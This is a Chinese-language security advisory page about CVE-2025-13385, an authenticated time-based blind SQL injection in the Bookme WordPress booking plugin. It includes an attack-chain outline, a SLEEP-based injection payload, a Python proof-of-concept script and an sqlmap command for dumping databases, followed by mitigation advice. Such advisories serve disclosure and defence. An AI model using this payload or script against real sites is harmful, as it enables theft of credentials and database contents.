IPBUF安全漏洞报告
English
CVE-2025-13385 CVSS 4.9 中危

CVE-2025-13385 WordPress Bookme插件SQL注入漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-13385
漏洞类型
SQL注入
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Bookme – Free Online Appointment Booking and Scheduling Plugin for WordPress

相关标签

SQL注入WordPress插件时间盲注CVE-2025-13385Bookme认证用户攻击数据库泄露

漏洞概述

CVE-2025-13385是WordPress平台下Bookme预约预订插件的一个中高危安全漏洞。该插件是一款免费的在线预约管理和调度系统,广泛应用于各类企业和个人网站。漏洞存在于插件的预订过滤功能中,攻击者可以通过构造恶意的filter[status]参数值,实现时间盲注SQL注入攻击。此漏洞的危险之处在于,虽然需要管理员级别权限,但WordPress默认配置下管理员账户创建门槛较低,且一旦攻击成功,攻击者可从数据库中提取敏感信息,包括用户密码哈希、其他管理员凭据、业务数据等。漏洞影响范围涵盖4.2及以下所有版本。由于该插件在WordPress官方插件库中拥有大量安装,漏洞可能影响数千个网站。CVSS评分4.9属于中危级别,主要威胁在于机密性影响高,攻击者可在无需用户交互的情况下远程利用。

技术细节

漏洞根源在于Bookme插件的Bookings.php文件第123行附近,对用户输入的filter[status]参数缺乏充分的输入验证和SQL查询预处理。攻击者可通过构造包含时间延迟函数(如SLEEP()或BENCHMARK())的SQL语句,利用时间盲注技术逐步提取数据库中的敏感信息。攻击条件要求攻击者具有WordPress管理员级别权限或更高(PR:H),攻击向量为网络远程利用(AV:N),无需用户交互(UI:N)。具体利用时,攻击者构造类似filter[status]=1' AND (SELECT CASE WHEN (条件) THEN SLEEP(5) ELSE 0 END)-- 的payload,通过响应时间的差异判断SQL查询的真假,逐步推断数据库内容。漏洞的利用需要攻击者具备一定的SQL注入知识和自动化工具使用能力,但相关利用代码已在公开渠道出现,攻击门槛较低。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress管理员或更高权限账户(如通过钓鱼、凭据泄露或利用其他漏洞)
STEP 2
步骤2
攻击者访问WordPress管理后台的Bookme插件预订页面(bookme-calendar)
STEP 3
步骤3
攻击者拦截HTTP请求,修改filter[status]参数为包含时间延迟函数的SQL注入payload
STEP 4
步骤4
通过时间盲注技术,攻击者根据响应时间差异逐步推断数据库内容,利用SLEEP()和条件判断语句逐字符提取敏感数据
STEP 5
步骤5
攻击者获取数据库中的用户表、密码哈希、管理员凭据或其他敏感业务数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13385 SQL Injection PoC # Target: WordPress with Bookme plugin <= 4.2 # Attack Type: Time-based SQL Injection via filter[status] parameter import requests import time import sys target_url = input("Enter target URL (e.g., http://example.com): ").rstrip('/') # Authenticated admin session cookie cookies = { 'wordpress_test_cookie': 'WP+Cookie+check', # Add your authenticated admin cookies here } def sql_injection_test(payload): """Test SQL injection with time-based blind technique""" params = { 'page': 'bookme-calendar', 'filter[status]': payload } start_time = time.time() try: response = requests.get( f"{target_url}/wp-admin/admin.php", params=params, cookies=cookies, timeout=30 ) elapsed = time.time() - start_time return elapsed >= 5 # If response took >= 5 seconds, injection works except: return False # Example: Test if current user is admin (always true for this PoC) test_payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- " print(f"[*] Testing SQL injection with payload: {test_payload}") if sql_injection_test(test_payload): print("[+] SQL Injection confirmed!") print("[*] Use sqlmap for further exploitation:") print(f"sqlmap -u '{target_url}/wp-admin/admin.php?page=bookme-calendar&filter[status]=1' --cookie='...' --dbs") else: print("[-] Injection failed or authentication required")

影响范围

Bookme Plugin <= 4.2

防御指南

临时缓解措施
立即升级Bookme插件至4.3或更高版本;在升级前可通过WAF规则临时拦截包含SQL注入特征的请求;限制WordPress管理员账户数量和权限;启用双因素认证保护管理员账户;定期审计管理员账户和插件使用情况;监控SQL错误日志以发现潜在攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表